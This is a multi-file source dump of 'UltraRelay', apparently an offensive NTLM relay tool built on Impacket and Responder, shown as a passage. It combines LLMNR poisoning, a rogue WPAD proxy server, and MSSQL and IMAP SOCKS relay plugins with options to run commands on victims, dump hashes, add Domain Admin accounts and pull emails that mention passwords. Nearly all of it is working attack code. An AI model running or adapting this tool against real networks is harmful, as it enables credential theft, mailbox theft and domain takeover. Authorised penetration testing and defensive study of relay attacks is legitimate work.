"\x08\x00\x01\x55\x00\x00" 66 | prelogin['Encryption'] = TDS_ENCRYPT_NOT_SUP 67 | prelogin['ThreadID'] = struct.pack('=0: 103 | try: 104 | self.username = login['UserName'].upper().decode('utf-16le') 105 | except UnicodeDecodeError: 106 | # Not Unicode encoded? 107 | self.username = login['UserName'].upper() 108 | 109 | else: 110 | try: 111 | self.username = ('/%s' % login['UserName'].decode('utf-16le')).upper() 112 | except UnicodeDecodeError: 113 | # Not Unicode encoded? 114 | self.username = ('/%s' % login['UserName']).upper() 115 | 116 | # Check if we have a connection for the user 117 | if self.activeRelays.has_key(self.username): 118 | # Check the connection is not inUse 119 | if self.activeRelays[self.username]['inUse'] is True: 120 | LOG.error('MSSQL: Connection for %s@%s(%s) is being used at the moment!' % ( 121 | self.username, self.targetHost, self.targetPort)) 122 | return False 123 | else: 124 | LOG.info('MSSQL: Proxying client session for %s@%s(%s)' % ( 125 | self.username, self.targetHost, self.targetPort)) 126 | self.session = self.activeRelays[self.username]['protocolClient'].session 127 | else: 128 | LOG.error('MSSQL: No session for %s@%s(%s) available' % ( 129 | self.username, self.targetHost, self.targetPort)) 130 | return False 131 | 132 | # We have a session relayed, let's answer back with the data 133 | if login['OptionFlags2'] & TDS_INTEGRATED_SECURITY_ON: 134 | TDSResponse = self.sessionData['AUTH_ANSWER'] 135 | self.sendTDS(TDSResponse['Type'], TDSResponse['Data'], 0) 136 | else: 137 | TDSResponse = self.sessionData['AUTH_ANSWER'] 138 | self.sendTDS(TDSResponse['Type'], TDSResponse['Data'], 0) 139 | 140 | return True 141 | 142 | def tunnelConnection(self): 143 | # For the rest of the remaining packets, we should just read and send. Except when trying to log out, 144 | # that's forbidden! ;) 145 | try: 146 | while True: 147 | # 1. Get Data from client 148 | tds = self.recvTDS() 149 | # 2. Send it to the relayed session 150 | self.session.sendTDS(tds['Type'], tds['Data'], 0) 151 | # 3. Get the target's answer 152 | tds = self.session.recvTDS() 153 | # 4. Send it back to the client 154 | self.sendTDS(tds['Type'], tds['Data'], 0) 155 | except Exception, e: 156 | # Probably an error here 157 | if LOG.level == logging.DEBUG: 158 | import traceback 159 | traceback.print_exc() 160 | 161 | return True 162 | 163 | def sendTDS(self, packetType, data, packetID = 1): 164 | if (len(data)-8) > self.packetSize: 165 | remaining = data[self.packetSize-8:] 166 | tds = TDSPacket() 167 | tds['Type'] = packetType 168 | tds['Status'] = TDS_STATUS_NORMAL 169 | tds['PacketID'] = packetID 170 | tds['Data'] = data[:self.packetSize-8] 171 | self.socketSendall(str(tds)) 172 | 173 | while len(remaining) > (self.packetSize-8): 174 | packetID += 1 175 | tds['PacketID'] = packetID 176 | tds['Data'] = remaining[:self.packetSize-8] 177 | self.socketSendall(str(tds)) 178 | remaining = remaining[self.packetSize-8:] 179 | data = remaining 180 | packetID+=1 181 | 182 | tds = TDSPacket() 183 | tds['Type'] = packetType 184 | tds['Status'] = TDS_STATUS_EOM 185 | tds['PacketID'] = packetID 186 | tds['Data'] = data 187 | self.socketSendall(str(tds)) 188 | 189 | def socketSendall(self,data): 190 | if self.tlsSocket is None: 191 | return self.socksSocket.sendall(data) 192 | else: 193 | self.tlsSocket.sendall(data) 194 | dd = self.tlsSocket.bio_read(self.packetSize) 195 | return self.socksSocket.sendall(dd) 196 | 197 | def socketRecv(self, packetSize): 198 | data = self.socksSocket.recv(packetSize) 199 | if self.tlsSocket is not None: 200 | dd = '' 201 | self.tlsSocket.bio_write(data) 202 | while True: 203 | try: 204 | dd += self.tlsSocket.read(packetSize) 205 | except SSL.WantReadError: 206 | data2 = self.socket.recv(packetSize - len(data) ) 207 | self.tlsSocket.bio_write(data2) 208 | pass 209 | else: 210 | data = dd 211 | break 212 | return data 213 | 214 | def recvTDS(self, packetSize=None): 215 | # Do reassembly here 216 | if packetSize is None: 217 | packetSize = self.packetSize 218 | packet = TDSPacket(self.socketRecv(packetSize)) 219 | status = packet['Status'] 220 | packetLen = packet['Length'] - 8 221 | while packetLen > len(packet['Data']): 222 | data = self.socketRecv(packetSize) 223 | packet['Data'] += data 224 | 225 | remaining = None 226 | if packetLen < len(packet['Data']): 227 | remaining = packet['Data'][packetLen:] 228 | packet['Data'] = packet['Data'][:packetLen] 229 | 230 | while status != TDS_STATUS_EOM: 231 | if remaining is not None: 232 | tmpPacket = TDSPacket(remaining) 233 | else: 234 | tmpPacket = TDSPacket(self.socketRecv(packetSize)) 235 | 236 | packetLen = tmpPacket['Length'] - 8 237 | while packetLen > len(tmpPacket['Data']): 238 | data = self.socketRecv(packetSize) 239 | tmpPacket['Data'] += data 240 | 241 | remaining = None 242 | if packetLen < len(tmpPacket['Data']): 243 | remaining = tmpPacket['Data'][packetLen:] 244 | tmpPacket['Data'] = tmpPacket['Data'][:packetLen] 245 | 246 | status = tmpPacket['Status'] 247 | packet['Data'] += tmpPacket['Data'] 248 | packet['Length'] += tmpPacket['Length'] - 8 249 | 250 | # print packet['Length'] 251 | return packet 252 | 253 | 254 | -------------------------------------------------------------------------------- /ntlmrelayx/servers/socksplugins/imap.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013-2017 CORE Security Technologies 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # A Socks Proxy for the IMAP Protocol 8 | # 9 | # Author: 10 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 11 | # 12 | # Description: 13 | # A simple SOCKS server that proxies a connection to relayed IMAP connections 14 | # 15 | # ToDo: 16 | # 17 | import logging 18 | import base64 19 | 20 | from imaplib import IMAP4 21 | from impacket import LOG 22 | from impacket.examples.ntlmrelayx.servers.socksserver import SocksRelay 23 | 24 | # Besides using this base class you need to define one global variable when 25 | # writing a plugin: 26 | PLUGIN_CLASS = "IMAPSocksRelay" 27 | EOL = '\r\n' 28 | 29 | class IMAPSocksRelay(SocksRelay): 30 | PLUGIN_NAME = 'IMAP Socks Plugin' 31 | PLUGIN_SCHEME = 'IMAP' 32 | 33 | def __init__(self, targetHost, targetPort, socksSocket, activeRelays): 34 | SocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays) 35 | self.packetSize = 8192 36 | self.idleState = False 37 | self.shouldClose = True 38 | 39 | @staticmethod 40 | def getProtocolPort(): 41 | return 143 42 | 43 | def getServerCapabilities(self): 44 | for key in self.activeRelays.keys(): 45 | if self.activeRelays[key].has_key('protocolClient'): 46 | return self.activeRelays[key]['protocolClient'].session.capabilities 47 | 48 | def initConnection(self): 49 | pass 50 | 51 | def skipAuthentication(self): 52 | self.socksSocket.sendall('* OK The Microsoft Exchange IMAP4 service is ready.'+EOL) 53 | 54 | # Next should be the client requesting CAPABILITIES 55 | tag, cmd = self.recvPacketClient() 56 | if cmd.upper() == 'CAPABILITY': 57 | clientcapabilities = list(self.getServerCapabilities()) 58 | # Don't offer these AUTH options so the client won't use them 59 | blacklist = ['AUTH=GSSAPI', 'AUTH=NTLM', 'LOGINDISABLED'] 60 | for cap in blacklist: 61 | if cap in clientcapabilities: 62 | clientcapabilities.remove(cap) 63 | 64 | # Offer PLAIN auth for specifying the username 65 | if 'AUTH=PLAIN' not in clientcapabilities: 66 | clientcapabilities.append('AUTH=PLAIN') 67 | # Offer LOGIN for specifying the username 68 | if 'LOGIN' not in clientcapabilities: 69 | clientcapabilities.append('LOGIN') 70 | 71 | LOG.debug('IMAP: Sending mirrored capabilities from server: %s' % ' '.join(clientcapabilities)) 72 | self.socksSocket.sendall('* CAPABILITY %s%s%s OK CAPABILITY completed.%s' % (' '.join(clientcapabilities), EOL, tag, EOL)) 73 | else: 74 | LOG.error('IMAP: Socks plugin expected CAPABILITY command, but got: %s' % cmd) 75 | return False 76 | # next 77 | tag, cmd = self.recvPacketClient() 78 | args = cmd.split(' ') 79 | if cmd.upper() == 'AUTHENTICATE PLAIN': 80 | # Send continuation command 81 | self.socksSocket.sendall('+'+EOL) 82 | # Client will now send their AUTH 83 | data = self.socksSocket.recv(self.packetSize) 84 | # This contains base64(\x00username\x00password), decode and split 85 | creds = base64.b64decode(data.strip()) 86 | self.username = creds.split('\x00')[1].upper() 87 | elif args[0].upper() == 'LOGIN': 88 | # Simple login 89 | self.username = args[1].upper() 90 | else: 91 | LOG.error('IMAP: Socks plugin expected LOGIN or AUTHENTICATE PLAIN command, but got: %s' % cmd) 92 | return False 93 | 94 | # Check if we have a connection for the user 95 | if self.activeRelays.has_key(self.username): 96 | # Check the connection is not inUse 97 | if self.activeRelays[self.username]['inUse'] is True: 98 | LOG.error('IMAP: Connection for %s@%s(%s) is being used at the moment!' % ( 99 | self.username, self.targetHost, self.targetPort)) 100 | return False 101 | else: 102 | LOG.info('IMAP: Proxying client session for %s@%s(%s)' % ( 103 | self.username, self.targetHost, self.targetPort)) 104 | self.session = self.activeRelays[self.username]['protocolClient'].session 105 | else: 106 | LOG.error('IMAP: No session for %s@%s(%s) available' % ( 107 | self.username, self.targetHost, self.targetPort)) 108 | return False 109 | 110 | # We arrived here, that means all is OK 111 | self.socksSocket.sendall('%s OK %s completed.%s' % (tag, args[0].upper(), EOL)) 112 | self.relaySocket = self.session.sock 113 | self.relaySocketFile = self.session.file 114 | return True 115 | 116 | def tunnelConnection(self): 117 | keyword = '' 118 | tag = '' 119 | while True: 120 | try: 121 | data = self.socksSocket.recv(self.packetSize) 122 | except Exception, e: 123 | # Socks socket (client) closed connection or something else. Not fatal for killing the existing relay 124 | print keyword, tag 125 | LOG.debug('IMAP: sockSocket recv(): %s' % (str(e))) 126 | break 127 | # If this returns with an empty string, it means the socket was closed 128 | if data == '': 129 | break 130 | # Set the new keyword, unless it is false, then break out of the function 131 | result = self.processTunnelData(keyword, tag, data) 132 | 133 | if result is False: 134 | break 135 | # If its not false, it's a tuple with the keyword and tag 136 | keyword, tag = result 137 | 138 | if tag != '': 139 | # Store the tag in the session so we can continue 140 | tag = int(tag) 141 | if self.idleState is True: 142 | self.relaySocket.sendall('DONE%s' % EOL) 143 | self.relaySocketFile.readline() 144 | 145 | if self.shouldClose: 146 | tag +=1 147 | self.relaySocket.sendall('%s CLOSE%s' % (tag, EOL)) 148 | self.relaySocketFile.readline() 149 | 150 | self.session.tagnum = tag+1 151 | 152 | return 153 | 154 | def processTunnelData(self, keyword, tag, data): 155 | # Pass the request to the server, store the tag unless the last command 156 | # was a continuation. In the case of the continuation we still check if 157 | # there were commands issued after 158 | analyze = data.split(EOL)[:-1] 159 | if keyword == '+': 160 | # We do send the continuation to the server 161 | # but we don't analyze it 162 | self.relaySocket.sendall(analyze.pop(0)+EOL) 163 | keyword = '' 164 | 165 | for line in analyze: 166 | info = line.split(' ') 167 | tag = info[0] 168 | # See if a LOGOUT command was sent, in which case we want to close 169 | # the connection to the client but keep the relayed connection alive 170 | # also handle APPEND commands 171 | try: 172 | if info[1].upper() == 'IDLE': 173 | self.idleState = True 174 | elif info[1].upper() == 'DONE': 175 | self.idleState = False 176 | elif info[1].upper() == 'CLOSE': 177 | self.shouldClose = False 178 | elif info[1].upper() == 'LOGOUT': 179 | self.socksSocket.sendall('%s OK LOGOUT completed.%s' % (tag, EOL)) 180 | return False 181 | elif info[1].upper() == 'APPEND': 182 | LOG.debug('IMAP socks APPEND command detected, forwarding email data') 183 | # APPEND command sent, forward all the data, no further commands here 184 | self.relaySocket.sendall(data) 185 | sent = len(data) - len(line) + len(EOL) 186 | 187 | # https://tools.ietf.org/html/rfc7888 188 | literal = info[4][1:-1] 189 | if literal[-1] == '+': 190 | literalPlus = True 191 | totalSize = int(literal[:-1]) 192 | else: 193 | literalPlus = False 194 | totalSize = int(literal) 195 | 196 | while sent < totalSize: 197 | data = self.socksSocket.recv(self.packetSize) 198 | self.relaySocket.sendall(data) 199 | sent += len(data) 200 | LOG.debug('Forwarded %d bytes' % sent) 201 | 202 | if literalPlus: 203 | data = self.socksSocket.recv(self.packetSize) 204 | self.relaySocket.sendall(data) 205 | 206 | LOG.debug('IMAP socks APPEND command complete') 207 | # break out of the analysis loop 208 | break 209 | except IndexError: 210 | pass 211 | self.relaySocket.sendall(line+EOL) 212 | 213 | # Send the response back to the client, until the command is complete 214 | # or the server requests more data 215 | while keyword != tag and keyword != '+': 216 | try: 217 | data = self.relaySocketFile.readline() 218 | except Exception, e: 219 | # This didn't break the connection to the server, don't make it fatal 220 | LOG.debug("IMAP relaySocketFile: %s" % str(e)) 221 | return False 222 | keyword = data.split(' ', 2)[0] 223 | try: 224 | self.socksSocket.sendall(data) 225 | except Exception, e: 226 | LOG.debug("IMAP socksSocket: %s" % str(e)) 227 | return False 228 | 229 | # Return the keyword to indicate processing was OK 230 | return (keyword, tag) 231 | 232 | 233 | def recvPacketClient(self): 234 | data = self.socksSocket.recv(self.packetSize) 235 | space = data.find(' ') 236 | return (data[:space], data[space:].strip()) 237 | 238 | 239 | -------------------------------------------------------------------------------- /ultrarelay.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Copyright (c) 2013-2016 CORE Security Technologies 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # Generic NTLM Relay Module 9 | # 10 | # Authors: 11 | # Alberto Solino (@agsolino) 12 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 13 | # 14 | # Description: 15 | # This module performs the SMB Relay attacks originally discovered 16 | # by cDc extended to many target protocols (SMB, MSSQL, LDAP, etc). 17 | # It receives a list of targets and for every connection received it 18 | # will choose the next target and try to relay the credentials. Also, if 19 | # specified, it will first to try authenticate against the client connecting 20 | # to us. 21 | # 22 | # It is implemented by invoking a SMB and HTTP Server, hooking to a few 23 | # functions and then using the specific protocol clients (e.g. SMB, LDAP). 24 | # It is supposed to be working on any LM Compatibility level. The only way 25 | # to stop this attack is to enforce on the server SPN checks and or signing. 26 | # 27 | # If the authentication against the targets succeeds, the client authentication 28 | # succeeds as well and a valid connection is set against the local smbserver. 29 | # It's up to the user to set up the local smbserver functionality. One option 30 | # is to set up shares with whatever files you want to so the victim thinks it's 31 | # connected to a valid SMB server. All that is done through the smb.conf file or 32 | # programmatically. 33 | # 34 | 35 | import argparse 36 | import sys 37 | import logging 38 | import cmd 39 | import urllib2 40 | import json 41 | from threading import Thread 42 | 43 | from impacket import version 44 | from impacket.examples import logger 45 | from impacket.examples.ntlmrelayx.utils.config import NTLMRelayxConfig 46 | from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor, TargetsFileWatcher 47 | from impacket.examples.ntlmrelayx.servers.socksserver import SOCKS 48 | 49 | from ntlmrelayx.servers import SMBRelayServer, HTTPRelayServer 50 | 51 | RELAY_SERVERS = ( SMBRelayServer, HTTPRelayServer ) 52 | 53 | class MiniShell(cmd.Cmd): 54 | def __init__(self, relayConfig, threads): 55 | cmd.Cmd.__init__(self) 56 | 57 | self.prompt = 'ntlmrelayx> ' 58 | self.tid = None 59 | self.relayConfig = relayConfig 60 | self.intro = 'Type help for list of commands' 61 | self.relayThreads = threads 62 | self.serversRunning = True 63 | 64 | @staticmethod 65 | def printTable(items, header): 66 | colLen = [] 67 | for i, col in enumerate(header): 68 | rowMaxLen = max([len(row[i]) for row in items]) 69 | colLen.append(max(rowMaxLen, len(col))) 70 | 71 | outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)]) 72 | 73 | # Print header 74 | print outputFormat.format(*header) 75 | print ' '.join(['-' * itemLen for itemLen in colLen]) 76 | 77 | # And now the rows 78 | for row in items: 79 | print outputFormat.format(*row) 80 | 81 | def emptyline(self): 82 | pass 83 | 84 | def do_targets(self, line): 85 | for url in self.relayConfig.target.originalTargets: 86 | print url.geturl() 87 | return 88 | 89 | def do_socks(self, line): 90 | headers = ["Protocol", "Target", "Username", "Port"] 91 | url = "http://localhost:9090/ntlmrelayx/api/v1.0/relays" 92 | try: 93 | proxy_handler = urllib2.ProxyHandler({}) 94 | opener = urllib2.build_opener(proxy_handler) 95 | response = urllib2.Request(url) 96 | r = opener.open(response) 97 | result = r.read() 98 | items = json.loads(result) 99 | except Exception, e: 100 | logging.error("ERROR: %s" % str(e)) 101 | else: 102 | if len(items) > 0: 103 | self.printTable(items, header=headers) 104 | else: 105 | logging.info('No Relays Available!') 106 | 107 | def do_startservers(self, line): 108 | if not self.serversRunning: 109 | start_servers(options, self.relayThreads) 110 | self.serversRunning = True 111 | logging.info('Relay servers started') 112 | else: 113 | logging.error('Relay servers are already running!') 114 | 115 | def do_stopservers(self, line): 116 | if self.serversRunning: 117 | stop_servers(self.relayThreads) 118 | self.serversRunning = False 119 | logging.info('Relay servers stopped') 120 | else: 121 | logging.error('Relay servers are already stopped!') 122 | 123 | def do_exit(self, line): 124 | print "Shutting down, please wait!" 125 | return True 126 | 127 | def start_servers(options, threads): 128 | for server in RELAY_SERVERS: 129 | #Set up config 130 | c = NTLMRelayxConfig() 131 | c.setProtocolClients(PROTOCOL_CLIENTS) 132 | c.setRunSocks(options.socks, socksServer) 133 | c.setTargets(targetSystem) 134 | c.setExeFile(options.e) 135 | c.setCommand(options.c) 136 | c.setEnumLocalAdmins(options.enum_local_admins) 137 | c.setEncoding(codec) 138 | c.setMode(mode) 139 | c.setAttacks(PROTOCOL_ATTACKS) 140 | c.setLootdir(options.lootdir) 141 | c.setOutputFile(options.output_file) 142 | c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.escalate_user) 143 | c.setMSSQLOptions(options.query) 144 | c.setInteractive(options.interactive) 145 | c.setIMAPOptions(options.keyword, options.mailbox, options.all, options.imap_max) 146 | c.setIPv6(options.ipv6) 147 | c.setWpadOptions(options.wpad_host, options.wpad_auth_num) 148 | c.setSMB2Support(options.smb2support) 149 | c.setInterfaceIp(options.interface_ip) 150 | 151 | 152 | #If the redirect option is set, configure the HTTP server to redirect targets to SMB 153 | if server is HTTPRelayServer and options.r is not None: 154 | c.setMode('REDIRECT') 155 | c.setRedirectHost(options.r) 156 | 157 | #Use target randomization if configured and the server is not SMB 158 | #SMB server at the moment does not properly store active targets so selecting them randomly will cause issues 159 | if server is not SMBRelayServer and options.random: 160 | c.setRandomTargets(True) 161 | 162 | s = server(c) 163 | s.start() 164 | threads.add(s) 165 | return c 166 | 167 | def stop_servers(threads): 168 | todelete = [] 169 | for thread in threads: 170 | if isinstance(thread, RELAY_SERVERS): 171 | thread.server.shutdown() 172 | todelete.append(thread) 173 | # Now remove threads from the set 174 | for thread in todelete: 175 | threads.remove(thread) 176 | del thread 177 | 178 | # Process command-line arguments. 179 | if __name__ == '__main__': 180 | 181 | # Init the example's logger theme 182 | logger.init() 183 | 184 | print "UltraRealy v0.1 - md5_salt & tomato" 185 | print "Based on Impacket and Responder\n" 186 | #Parse arguments 187 | parser = argparse.ArgumentParser(add_help = False, description = "For every connection received, this module will " 188 | "try to relay that connection to specified target(s) system or the original client") 189 | parser._optionals.title = "Main options" 190 | 191 | #Main arguments 192 | parser.add_argument("-h","--help", action="help", help='show this help message and exit') 193 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 194 | parser.add_argument('-t',"--target", action='store', metavar = 'TARGET', help='Target to relay the credentials to, ' 195 | 'can be an IP, hostname or URL like smb://server:445 If unspecified, it will relay back to the client') 196 | parser.add_argument('-tf', action='store', metavar = 'TARGETSFILE', help='File that contains targets by hostname or ' 197 | 'full URL, one per line') 198 | parser.add_argument('-w', action='store_true', help='Watch the target file for changes and update target list ' 199 | 'automatically (only valid with -tf)') 200 | parser.add_argument('-i','--interactive', action='store_true',help='Launch an smbclient console instead' 201 | 'of executing a command after a successful relay. This console will listen locally on a ' 202 | ' tcp port and can be reached with for example netcat.') 203 | 204 | # Interface address specification 205 | parser.add_argument('-ip','--interface-ip', action='store', metavar='INTERFACE_IP', help='IP address of interface to ' 206 | 'bind SMB and HTTP servers',default='', required=True) 207 | 208 | parser.add_argument('-ra','--random', action='store_true', help='Randomize target selection (HTTP server only)') 209 | parser.add_argument('-r', action='store', metavar = 'SMBSERVER', help='Redirect HTTP requests to a file:// path on SMBSERVER') 210 | parser.add_argument('-l','--lootdir', action='store', type=str, required=False, metavar = 'LOOTDIR',default='.', help='Loot ' 211 | 'directory in which gathered loot such as SAM dumps will be stored (default: current directory).') 212 | parser.add_argument('-of','--output-file', action='store',help='base output filename for encrypted hashes. Suffixes ' 213 | 'will be added for ntlm and ntlmv2') 214 | parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default ' 215 | '"%s"). If errors are detected, run chcp.com at the target, ' 216 | 'map the result with ' 217 | 'https://docs.python.org/2.4/lib/standard-encodings.html and then execute ntlmrelayx.py ' 218 | 'again with -codec and the corresponding codec ' % sys.getdefaultencoding()) 219 | parser.add_argument('-smb2support', action="store_true", default=False, help='SMB2 Support (experimental!)') 220 | parser.add_argument('-socks', action='store_true', default=False, 221 | help='Launch a SOCKS proxy for the connection relayed') 222 | parser.add_argument('-wh','--wpad-host', action='store',help='Enable serving a WPAD file for Proxy Authentication attack, ' 223 | 'setting the proxy host to the one supplied.') 224 | parser.add_argument('-wa','--wpad-auth-num', action='store',help='Prompt for authentication N times for clients without MS16-077 installed ' 225 | 'before serving a WPAD file.') 226 | parser.add_argument('-6','--ipv6', action='store_true',help='Listen on both IPv6 and IPv4') 227 | 228 | #SMB arguments 229 | smboptions = parser.add_argument_group("SMB client options") 230 | 231 | smboptions.add_argument('-e', action='store', required=False, metavar = 'FILE', help='File to execute on the target system. ' 232 | 'If not specified, hashes will be dumped (secretsdump.py must be in the same directory)') 233 | smboptions.add_argument('-c', action='store', type=str, required=False, metavar = 'COMMAND', help='Command to execute on ' 234 | 'target system. If not specified, hashes will be dumped (secretsdump.py must be in the same ' 235 | 'directory).') 236 | smboptions.add_argument('--enum-local-admins', action='store_true', required=False, help='If relayed user is not admin, attempt SAMR lookup to see who is (only works pre Win 10 Anniversary)') 237 | 238 | #MSSQL arguments 239 | mssqloptions = parser.add_argument_group("MSSQL client options") 240 | mssqloptions.add_argument('-q','--query', action='append', required=False, metavar = 'QUERY', help='MSSQL query to execute' 241 | '(can specify multiple)') 242 | 243 | #LDAP options 244 | ldapoptions = parser.add_argument_group("LDAP client options") 245 | ldapoptions.add_argument('--no-dump', action='store_false', required=False, help='Do not attempt to dump LDAP information') 246 | ldapoptions.add_argument('--no-da', action='store_false', required=False, help='Do not attempt to add a Domain Admin') 247 | ldapoptions.add_argument('--no-acl', action='store_false', required=False, help='Disable ACL attacks') 248 | ldapoptions.add_argument('--escalate-user', action='store', required=False, help='Escalate privileges of this user instead of creating a new one') 249 | 250 | #IMAP options 251 | imapoptions = parser.add_argument_group("IMAP client options") 252 | imapoptions.add_argument('-k','--keyword', action='store', metavar="KEYWORD", required=False, default="password", help='IMAP keyword to search for. ' 253 | 'If not specified, will search for mails containing "password"') 254 | imapoptions.add_argument('-m','--mailbox', action='store', metavar="MAILBOX", required=False, default="INBOX", help='Mailbox name to dump. Default: INBOX') 255 | imapoptions.add_argument('-a','--all', action='store_true', required=False, help='Instead of searching for keywords, ' 256 | 'dump all emails') 257 | imapoptions.add_argument('-im','--imap-max', action='store',type=int, required=False,default=0, help='Max number of emails to dump ' 258 | '(0 = unlimited, default: no limit)') 259 | 260 | try: 261 | options = parser.parse_args() 262 | except Exception as e: 263 | logging.error(str(e)) 264 | sys.exit(1) 265 | 266 | if options.debug is True: 267 | logging.getLogger().setLevel(logging.DEBUG) 268 | else: 269 | logging.getLogger().setLevel(logging.INFO) 270 | logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) 271 | 272 | threads = set() 273 | 274 | # Launch LLMNR Poisoner 275 | from llmnrpoison import settings, serve_LLMNR_poisoner, LLMNR 276 | settings.Config.set(options.interface_ip) 277 | llmnrpoison_thread = Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,)) 278 | llmnrpoison_thread.daemon = True 279 | llmnrpoison_thread.start() 280 | threads.add(llmnrpoison_thread) 281 | 282 | # Let's register the protocol clients we have 283 | # ToDo: Do this better somehow 284 | from impacket.examples.ntlmrelayx.clients import PROTOCOL_CLIENTS 285 | from impacket.examples.ntlmrelayx.attacks import PROTOCOL_ATTACKS 286 | 287 | 288 | if options.codec is not None: 289 | codec = options.codec 290 | else: 291 | codec = sys.getdefaultencoding() 292 | 293 | if options.target is not None: 294 | logging.info("Running in relay mode to single host") 295 | mode = 'RELAY' 296 | targetSystem = TargetsProcessor(singleTarget=options.target, protocolClients=PROTOCOL_CLIENTS) 297 | else: 298 | if options.tf is not None: 299 | #Targetfile specified 300 | logging.info("Running in relay mode to hosts in targetfile") 301 | targetSystem = TargetsProcessor(targetListFile=options.tf, protocolClients=PROTOCOL_CLIENTS) 302 | mode = 'RELAY' 303 | else: 304 | logging.info("Running in reflection mode") 305 | targetSystem = None 306 | mode = 'REFLECTION' 307 | 308 | if options.r is not None: 309 | logging.info("Running HTTP server in redirect mode") 310 | 311 | if targetSystem is not None and options.w: 312 | watchthread = TargetsFileWatcher(targetSystem) 313 | watchthread.start() 314 | 315 | 316 | socksServer = None 317 | if options.socks is True: 318 | # Start a SOCKS proxy in the background 319 | socksServer = SOCKS() 320 | socksServer.daemon_threads = True 321 | socks_thread = Thread(target=socksServer.serve_forever) 322 | socks_thread.daemon = True 323 | socks_thread.start() 324 | threads.add(socks_thread) 325 | 326 | c = start_servers(options, threads) 327 | 328 | print "" 329 | logging.info("Servers started, waiting for connections") 330 | try: 331 | if options.socks: 332 | shell = MiniShell(c, threads) 333 | shell.cmdloop() 334 | else: 335 | sys.stdin.read() 336 | except KeyboardInterrupt: 337 | pass 338 | else: 339 | pass 340 | 341 | if options.socks is True: 342 | socksServer.shutdown() 343 | del socksServer 344 | 345 | for s in threads: 346 | del s 347 | 348 | sys.exit(0) 349 | 350 | 351 | 352 | -------------------------------------------------------------------------------- /ntlmrelayx/servers/httprelayserver.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013-2018 CORE Security Technologies 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # HTTP Relay Server 8 | # 9 | # Authors: 10 | # Alberto Solino (@agsolino) 11 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 12 | # 13 | # Description: 14 | # This is the HTTP server which relays the NTLMSSP messages to other protocols 15 | 16 | import SimpleHTTPServer 17 | import SocketServer 18 | import socket 19 | import base64 20 | import random 21 | import struct 22 | import string 23 | import traceback 24 | from threading import Thread 25 | 26 | from impacket import ntlm, LOG 27 | from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile 28 | from impacket.nt_errors import STATUS_ACCESS_DENIED, STATUS_SUCCESS 29 | from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor 30 | from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections 31 | from impacket.ntlm import NTLMAuthChallenge 32 | 33 | class HTTPRelayServer(Thread): 34 | 35 | class HTTPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer): 36 | def __init__(self, server_address, RequestHandlerClass, config): 37 | self.config = config 38 | self.daemon_threads = True 39 | if self.config.ipv6: 40 | self.address_family = socket.AF_INET6 41 | # Tracks the number of times authentication was prompted for WPAD per client 42 | self.wpad_counters = {} 43 | SocketServer.TCPServer.__init__(self,server_address, RequestHandlerClass) 44 | 45 | class HTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): 46 | def __init__(self,request, client_address, server): 47 | self.server = server 48 | self.protocol_version = 'HTTP/1.1' 49 | self.challengeMessage = None 50 | self.target = None 51 | self.client = None 52 | self.machineAccount = None 53 | self.machineHashes = None 54 | self.domainIp = None 55 | self.authUser = None 56 | self.wpad = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1")) return "DIRECT"; if (dnsDomainIs(host, "%s")) return "DIRECT"; return "PROXY %s:80; DIRECT";} ' 57 | if self.server.config.mode != 'REDIRECT': 58 | if self.server.config.target is None: 59 | # Reflection mode, defaults to SMB at the target, for now 60 | self.server.config.target = TargetsProcessor(singleTarget='SMB://%s:445/' % client_address[0]) 61 | self.target = self.server.config.target.getTarget(self.server.config.randomtargets) 62 | LOG.info("HTTPD: Received connection from %s, attacking target %s://%s" % (client_address[0] ,self.target.scheme, self.target.netloc)) 63 | try: 64 | SimpleHTTPServer.SimpleHTTPRequestHandler.__init__(self,request, client_address, server) 65 | except Exception, e: 66 | LOG.error(str(e)) 67 | LOG.debug(traceback.format_exc()) 68 | 69 | def handle_one_request(self): 70 | try: 71 | SimpleHTTPServer.SimpleHTTPRequestHandler.handle_one_request(self) 72 | except KeyboardInterrupt: 73 | raise 74 | except Exception, e: 75 | LOG.error('Exception in HTTP request handler: %s' % e) 76 | LOG.debug(traceback.format_exc()) 77 | 78 | def log_message(self, format, *args): 79 | return 80 | 81 | def send_error(self, code, message=None): 82 | if message.find('RPC_OUT') >=0 or message.find('RPC_IN'): 83 | return self.do_GET() 84 | return SimpleHTTPServer.SimpleHTTPRequestHandler.send_error(self,code,message) 85 | 86 | def serve_wpad(self): 87 | wpadResponse = self.wpad % (self.server.config.wpad_host, self.server.config.wpad_host) 88 | self.send_response(200) 89 | self.send_header('Content-type', 'application/x-ns-proxy-autoconfig') 90 | self.send_header('Content-Length',len(wpadResponse)) 91 | self.end_headers() 92 | self.wfile.write(wpadResponse) 93 | return 94 | 95 | def should_serve_wpad(self, client): 96 | # If the client was already prompted for authentication, see how many times this happened 97 | try: 98 | num = self.server.wpad_counters[client] 99 | except KeyError: 100 | num = 0 101 | self.server.wpad_counters[client] = num + 1 102 | # Serve WPAD if we passed the authentication offer threshold 103 | if num >= 